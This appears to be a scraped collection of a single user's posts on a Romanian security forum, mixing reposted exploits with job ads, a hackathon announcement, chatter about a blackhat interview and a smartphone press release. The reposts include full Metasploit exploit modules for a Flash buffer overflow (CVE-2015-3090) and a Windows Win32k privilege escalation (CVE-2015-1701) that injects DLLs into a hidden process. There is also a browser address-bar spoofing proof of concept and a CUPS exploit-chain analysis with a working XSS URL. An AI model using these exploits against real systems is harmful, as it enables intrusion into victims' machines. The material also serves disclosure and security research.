Nytro

Impact: The "click to verify" thing is completely broken... Anyone can be "BBB Accredited Business" etc. You can make whitehouse.gov display "We love Islamic State" Note: No user interaction on the fake page. Code: ***** index.html <script> function next() { w.location.replace('http://www.oracle.com/index.html?'+n);n++; setTimeout("next();",15); setTimeout("next();",25); } function f() { w=window.open("content.html","_blank","width=500 height=500"); i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5); } </script> <a href="#" onclick="f()">Go</a><br> ***** content.html <b>This web page is NOT oracle.com</b> <script>location="Oracle | Integrated Cloud Applications and Platform Services";</script> ***** It's online Deusen - gwhere (The page says "June/16/2015" - it works as we tested today) Request For Comment: We reported this to Google. They reproduced, and say It's DoS which doesn't matter. We think it's very strange, since the browser does not crash(not DoS), and the threat is obvious. What's your opinion? Kind Regards, PS We love clever tricks. We love this: Dieyu

Nota: Inca se cauta.

Putini tineri stiu de Phrack...

[h=1]Adobe Flash Player ShaderJob Buffer Overflow[/h] ### This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability related to the ShaderJob workings on Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute of the ShaderJob after starting the job it's possible to create a buffer overflow condition where the size of the destination buffer and the length of the copy are controlled. This module has been tested successfully on: * Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169. * Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169. * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Evans', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-3090'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-09.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/05/angler_ek_exploiting.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-2015-3090-flash-up-to-1700169-and.html'], ['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinear-resampling-with-flash-player-and-pixel-bender/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Sursa: https://www.exploit-db.com/exploits/37368/

[h=1]CUPS < 2.0.3 - Multiple Vulnerabilities[/h] Source: http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html Abstract Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and others become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is the subject of great debate amongst security researchers. Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat these exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in the short term, but hinders broader innovation. In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I then discuss how to build an exploit using the primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds the effect of the first, exposing otherwise unreachable instances of CUPS. Finally, I discuss the specific features and configuration options of CUPS that either helped or hindered exploitation. By publishing this analysis, I hope to encourage transparent discourse on the state of exploits and mitigations, and inspire other researchers to do the same. Summary Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement the reference count for a string from the request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, then run arbitrary code. The reference count over-decrement is exploitable in default configurations, and does not require any special permissions other than the basic ability to print. A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. The XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface. Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations. Background Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158) When freeing localized multi-value attributes, the reference count on the language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees the 'language' field for all strings in a group, instead of using 'ipp_free_values()'. scheduler/ipp.c:1626: /* * Free old strings… ? Even 'old' strings need to be freed. */ for (i = 0; i < attr->num_values; i ++) { _cupsStrFree(attr->values[i].string.text); attr->values[i].string.text = NULL; if (attr->values[i].string.language) ? for all values in an attribute { _cupsStrFree(attr->values[i].string.language); ? free the 'language' string attr->values[i].string.language = NULL; } } In this case, 'language' field comes from the value of the 'attributes-natural-language' attribute in the request. To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times the reference count is decremented. For a 10-value attribute, the reference count for 'language' is increased once, but decremented 10 times. The over-decrement prematurely frees the heap block for the target string. The actual block address will be quickly re-used by subsequent allocations. Dangling pointers to the block remain, but the content they point to changes when blocks are freed or reused. This is the basic exploit primitive upon which we build. A Reflected XSS in the Web Interface (CVE-2015-1159) The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'. The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but the second case ends up being interesting. The code is found in 'cgi_puts()', and escapes the following reserved HTML characters: <>"'& These are replaced with their HTML entity equivalents ('<' etc...). The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650: if (*s == '<') { /* * Pass <A HREF="url"> and </A>, otherwise quote it... */ if (!_cups_strncasecmp(s, "<A HREF=\"", 9)) { fputs("<A HREF=\"", out); s += 9; while (*s && *s != '\"') { if (*s == '&') fputs("&", out); else putc(*s, out); s ++; } if (*s) s ++; fputs("\">", out); } For variable values containing '<a href="', all subsequent characters before a closing double-quote are subject to less restrictive escaping, where only the '&' character is escaped. The characters <>', and a closing " would normally be escaped, but are echoed unaltered in this context. Note that the data being escaped here is client-supplied input, the variable value from the CGI argument. This code may have been intended to deal with links passed as CGI arguments. However, the template engine's limited context-awareness becomes an issue. Take this example from templates/help-header.tmp:19: <P CLASS="l0"><A HREF="/help/{QUERY??QUERY={QUERY}:}">All Documents</A></P> In this case, the CGI argument 'QUERY' is already contained inside a 'href' attribute of a link. If 'QUERY' starts with '<a href="', the double-quote will close the 'href' attribute opened in the static portion of the template. The remainder of the 'QUERY' variable will be interpreted as HTML tags. Requesting the following URI will demonstrate this reflected XSS: http://localhost:631/help/?QUERY=%3Ca%20href=%22%20%3E%3Cscript%3Ealert%28%27Linux%20crickets%20chirping%20for%20a%20patch%27%29%3C/script%3E%3C!--&SEARCH=Search The 'QUERY' parametre is included in the page twice, leading to multiple unbalanced double-quotes. As such, the open comment string '<!--' is used to yield a HTML page that parses without errors. Upstream Fixes Apple Fix (April 16, 2015): https://support.apple.com/kb/DL1807 Official CUPS fix for downstream vendors (June 8, 2015): https://www.cups.org/str.php?L4609 http://www.cups.org/blog.php?L1082+I0+Q Project Zero Bug For those interested, the sample exploit can be found here: https://code.google.com/p/google-security-research/issues/detail?id=455 https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37336.tar.gz Disclosure Timeline March 20th, 2015 - Initial notification to Apple April 16th, 2015 - Apple ships fix in Mac OS X 10.10.3 June 8th, 2015 - CUPS ships official fix in CUPS 2.0.3 June 18th, 2015 - Disclosure + 90 days June 19th, 2015 - P0 publication Attack Surface Reduction in CUPS 2.0.3+ CUPS 2.0.3 and 2.1 beta contains several prescient implementation changes to limit the risk and impact of future similar bugs: Configuration value strings are now logically separated from the string pool, allocated by strdup() instead. LD_* and DYLD_* environment variables are blocked when CUPS is running as root. The localhost listener is removed when 'WebInterface' is disabled (2.1 beta only). Acknowledgements Thanks to Ben Hawkes, Stephan Somogyi, and Mike Sweet for their comments and edits. Conclusion No one prints anything anymore anyways. Sursa: https://www.exploit-db.com/exploits/37336/

[h=1]Windows ClientCopyImage Win32k Exploit[/h] ### This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows ClientCopyImage Win32k Exploit', 'Description' => %q{ This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # vulnerability discovery and exploit in the wild 'hfirefox', # Code released on github 'OJ Reeves' # msf module ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'metrepreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-1701'], ['MSB', 'MS15-051'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] ], 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0 })) end def check # Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work) # Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works) # Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown end if sysinfo['Architecture'] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo['Architecture'] =~ /x86/i arch = ARCH_X86 end file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") return Exploit::CheckCode::Safe if build == 7601 return Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Metrepreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") if target.arch.first == ARCH_X86 dll_file_name = 'cve-2015-1701.x86.dll' else dll_file_name = 'cve-2015-1701.x64.dll' end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end Sursa: https://www.exploit-db.com/exploits/37367/

Q: How much money do you think you made after expenses per year at your peak doing blackhat activities? A: I can’t really go into specifics but when 9/11 happened we were making millions. Q: And how much do you think you made last year? A: Off the top of my head? Around about 400-500k. Last year was kind of shit. People became wiser, patches became more frequent. This year we have 3/4 of that amount already. Cine e? Cum il cheama? A facut puscarie? Nu am zis ca e renumit, dimpotriva, nu trebuie sa fie.

Sunt 3 parti: https://blog.whitehatsec.com/interview-with-a-blackhat-part-1/

Cred ca e pentru Junior, nu stiu, are un "JD" in coada (Junior Developer?). Iti trimit PM.

http://adevarul.ro/locale/ramnicu-valcea/cum-ajuns-ramnicu-valcea-mai-periculos-oras-americani-marturia-rapperului-documentarul-inventat-despre-hackerii-romani-1_558930fc0a48ab3512000001/index.html

Cine le vrea, link direct, sa imi dea PM.

Da, el da, nu ne-a uitat.

Alex Ionescu? Nu cred ca a fost pe forum. Era ocupat sa scrie kernelul pentru ReactOS.

A auzit cineva de sickness? Dar de Alex Ionescu?

C++ Linux Developer Job We are actively looking for a C++ Linux Developer to work inside one of our clients’ team. As a Developer you will: - Develop and write the required code for specific applications - Collaborate with the other colleagues to ensure that the current suite of applications is meeting the clients’ needs - Document code consistently throughout the development process - Respond promptly and professionally to bug reports - Review and repair legacy code - Keep the project tasks status updated - Report status periodically to the supervisors - by request - Train specific clients on the use of the application if required by the company - Conduct training for new programming staff if required by the company - Project and develop server modules for Linux systems - Project and develop cross-platform modules (Linux, Mac, Windows) - Create applications for the automation of testing modules - Get involved in the general architecture of the system - Integrate new modules into existing products (Linux & Mac) - Fix bugs, refactor existing products Cine e interesat sa imi dea PM si il pun in legatura cu angajatorul.

Probabil au sursa. Stii tu, cand smecherul guvern SUA vine in Romania, e pupat in cur si i se ofera tot ce doreste.

Kaspersky rullz!

"De ce in jumatate din cadrele luate cu vorbitorii din acest material se fumeaza? Care e legatura cu hackingul, cu criminalitatea cibernetica? Par mai periculosi? " De ce reportajul "In cautarea celui mai periculos oras de pe Internet - Hackerville" este un esec? - WORLDIT

Pasionat de Programare ? Alatura-te primului Hackathon pe teme de securitate din Romania! Avira premiaza cele mai bune aplicatii de securitate in cadrul unui maraton de programare de 24 de ore, pe 27 si 28 iunie la Connect Hub, in Bucuresti. Ce vei dezvolta? Aplicatii care asigura navigarea in siguranta pe Internet astfel: •Protejeaza identitatea si confidentialitatea utilizatorului •Protejaza utilizatorul impotriva instalarii aplicatiilor nedorite (download installere, download pachete software care instaleaza si alte aplicatii pe langa aplicatia dorita) •Protejaza impotriva siteurilor de phishing / emailurilor de phishing •Asigura navigarea in siguranta a copiilor pe internet •Protejeaza impotriva aplicatiilor Facebook de tipul malware (care posteaza in numele tau, fara accordul tau, etc) •Protejeaza informatiile din telefon (poze, mesaje, parole, etc) •Monitorizeaza traficul de internet inregistrat pe telefonul mobil •Asigura Secure Mobile banking •Asigura criptarea comunicatiilor pe device-urile mobile Este acceptata orice aplicatie desktop, mobile, extensie de browser, aplicatie web, dezvoltata in orice limbaj de programare (C, C++, .Net, C#, Java, PHP, Javascript, Python), care ajuta la rezolvarea sau identificarea uneia din problemele de mai sus si nu numai. Orice alta solutie care ajuta utilizatorul de internet sa se simta in siguranta in momentul in care navigheaza, se joaca online, face tranzactii online, foloseste chatul online este de asemenea valida. Despre eveniment Evenimentul are o structura aparte: timp de 24 de ore, participantii vor sta in fata calculatoarelor, singuri sau in echipe de pana la 4 membri, pentru a dezvolta cele mai interesante aplicatii de securitate. Acestia vor avea la dispozitie cafea, fructe si pizza precum si spatii de relaxare, atmosfera fiind cat se poate de destinsa. Inregistrarea la eveniment este obligatorie si se face prin intermediul Eventbrite pana pe data de 25 iunie 2015.Participarea este gratuita si se face pe baza unei preselectii prealabile. Despre premii Premiile sunt oferite de Avira si sunt in valoare de 2000Euro pentru aplicatia castigatoare a locului 1, 700 euro pentru aplicatia clasata pe locul 2, si bean bags pentru fiecare membru al echipei de pe locul 3. Criterii de jurizare Eliminator: Aplicatia trebuie sa functioneze si sa I se poata face un demo la cerere. Originalitate – cat de inovatoare e ideea ta? A mai dezvoltat-o cineva? Utilizabilitate – cat de utila e aplicatia pe care ai dezvoltat-o? Cati oameni ar putea-o folosi? Scalabilitate – cat de scalabila la un numar mare de utilizatori e aplicatia ta? Impact – ce schimba aplicatia ta in modul in care utilizatorii percep securitatea pe internet? Popularitate – cate voturi ale celorlate echipe are aplicatia ta? Castigatoare va fi solutia care va intruni un numar maxim de puncte pentru toate criteriile de mai sus insumate. Program eveniment 27 iunie, 10:00 - 10:30 - Incepere eveniment si networking Pe data de 27 iunie, toti cei admisi la competitie sunt asteptati la Connect Hub, Bulevardul Dacia 99, la etajul 3. 27 Iunie, 10:30 - 11:00 – Intro si prezentare Organizatorii vor explica participantilor conceptul evenimentului, vor prezenta membrii juriului si mentorii si vor raspunde la intrebarile participantilor.? 27 Iunie, 11:00 – 12:00 – Sesiunile de mentoring Pentru o ora, bordul de jurati si mentori o sa ajute participantii sa isi defineasca ideile si sa isi formeze echipele. 27 iunie, 12:00 – Start Hacking Concurentii vor incepe maratonul de dezvoltare care va dura 24 de ore. 27 iunie, 18:00 – Prima sesiune de feedback Pe parcursul Securithon-ului, vor fi doua sesiuni de feedback, prima in ziua intai la orele 18:00 iar cea de-a doua in ziua a doua, la ora 9 dimineata. Pe parcursul acestor sesiuni, o selectie din membrii juriului si mentorii vor petrece pana la 10 minute cu fiecare echipa pentru a le oferi feedback legat de ceea ce au dezvoltat si pentru a le raspunde la intrebari. 28 iunie, 12:00 – Stop hacking Pe 28 iunie, duminica, dupa 24 de ore de dezvoltare, maratonul de programare se inchide, echipele vor finaliza dezvoltarea si vor pregati codul pentru a-l urca pe Github 28 iunie, 12:00-12:30 – Github time Toate echipele isi vor urca codul pe Github, pe un repository creat de organizatori. 12:30-13:00 – Open Demos Timp de 30 de minute, echipele au timp sa mearga la alte echipe, sa vorbeasca cu dezvoltatorii, sa vada demo-uri si sa voteze aplicatiile altor echipe, aplicand sticky notes in zona birourilor echipei pe care o voteaza. 13:00 – Start pitch-uri La orele 13:00 vor incepe pitch-urile, fiecare echipa va avea pana la 3 minute pentru a vorbi despre aplicatie juriului si celorlalti participanti, si 2 minute pentru intrebari. La finalul pitch-urilor, bordul de jurati si mentori va decide care sunt aplicatiile castigatoare. Inscrie-te acum, locurile sunt limitate! Event: http://www.eventbrite.com/e/securithon-sunt-asteptati-designeri-developeri-si-frontend-testeri-tickets-16694581944 Link: Avira Securithon

Indieni. Nimic avansat.

Fixed! Bravo!

Aka "Hai sa angajam studenti, ca de programatori nu avem bani"

@saber05 - Unul sau doua, depinde. @ManutaDeAur - Haide la noi si plateste firma.

Anuntul e si pe BestJobs daca nu vreti sa trimiteti CV-ul pe PM: IT Security Consultant (Penetration Tester) la S.C. KPMG ROMANIA SRL, BUCURESTI - BestJobs

Allview prezint? X2 Xtreme, noul s?u vârf de gam? smartphone Aurelian Mihai - 9 iun 2015 X2 Xtreme este un smartphone dual-SIM motorizat de chipsetul Helio X10 (CPU octa-core pe 64 bi?i, la 2GHz), ajutat cu 3GB memorie RAM. Dispozitivul beneficiaz? de tehnologia CorePilot 2.0 si folose?te sistemul de operare Android 5.1 Lollipop. Piesa de rezisten?? este îns? memoria intern? de 64GB care poate fi extinsa pana la 192GB prin adaugarea unui card microSD de maxim 128GB Allview X2 Xtreme „Continuam sa oferim consumatorilor produse adaptate cerintelor si asteptarilor tot mai diversificate, prin inovatie si cercetare constanta. Am pastrat totodata si traditia de a aduce in gama Soul un smartphone cu performante extreme. Avand in vedere tendintele si necesitatile utilizatorilor care isi doresc un smartphone cu specificatii la superlativ. Printre acestea de remarcat sunt: camera principala de 24 MP care prin intermediul unui algoritm de suprapunere a imaginilor poate oferi o rezolutie incredibila pe care insa o pastram sub forma de surpriza pana la aparitia primelor review-uri, mediul de stocare de pana la 192 GB care te ajuta in a captura filme la rezolutie de 4K, display-ul de 6” cu rezolutie Quad HD, procesorul Helio X10 si autonomia de peste 200 ore in convorbire in modul Extrem” a declarat Lucian Peticila, director general al companiei Visual Fan. Vârful gamei de telefoane Soul include sistem de deblocare pe baz? de amprent?, oferind un nivel sporit de protec?ie a datelor. Pe lâng? deblocarea ecranului, utilizatorul poate apela la folosirea amprentei pentru a cripta fi?iere. zoom in Allview X2 Xtreme ofer? dou? camere foto de 8MP ?i 24MP, camera principala dispunând de lentile cu 6 straturi(UV lens, focus lens, high precision lens, aperture, low dispersion lens) si protec?ie anti-zgârieturi cu strat de Safir. De remarcat este ?i blitz-ul LED cu dou? tonalit??i de lumin? - „cald?” si „rece”, conferind pozelor un aspect natural ?i palet? mai bogat? de culori. Telefonul poate filma la rezolu?ie 4K, respectiv captura imagini in timpul film?rii prin utilizarea butonului prezent pe rama telefonului. Al?turi de camera foto, cap de afi? pe lista specifica?iilor este ?i ecranul cu diagonal? 6? ?i rezolu?ie QHD (2560x1440). Utilizatorii pot alege oricare din temele smartphone-ului X2 Xtreme, respectiv functia Chameleon care adapteaz? interfa?a telefonului duplicând culorile din jurul t?u. Smartphone-ul este echipat cu o baterie de 3500 mAh care promite pana la 20 ore de func?ionare continua sau 350 ore in stand-by. X2. Telefonul Allview X2 Xtreme este disponibil începând de ast?zi pe baz? de precomand?, la pre?ul de 2199 LEI. Sursa: Allview prezint? X2 Xtreme, noul s?u vârf de gam? smartphone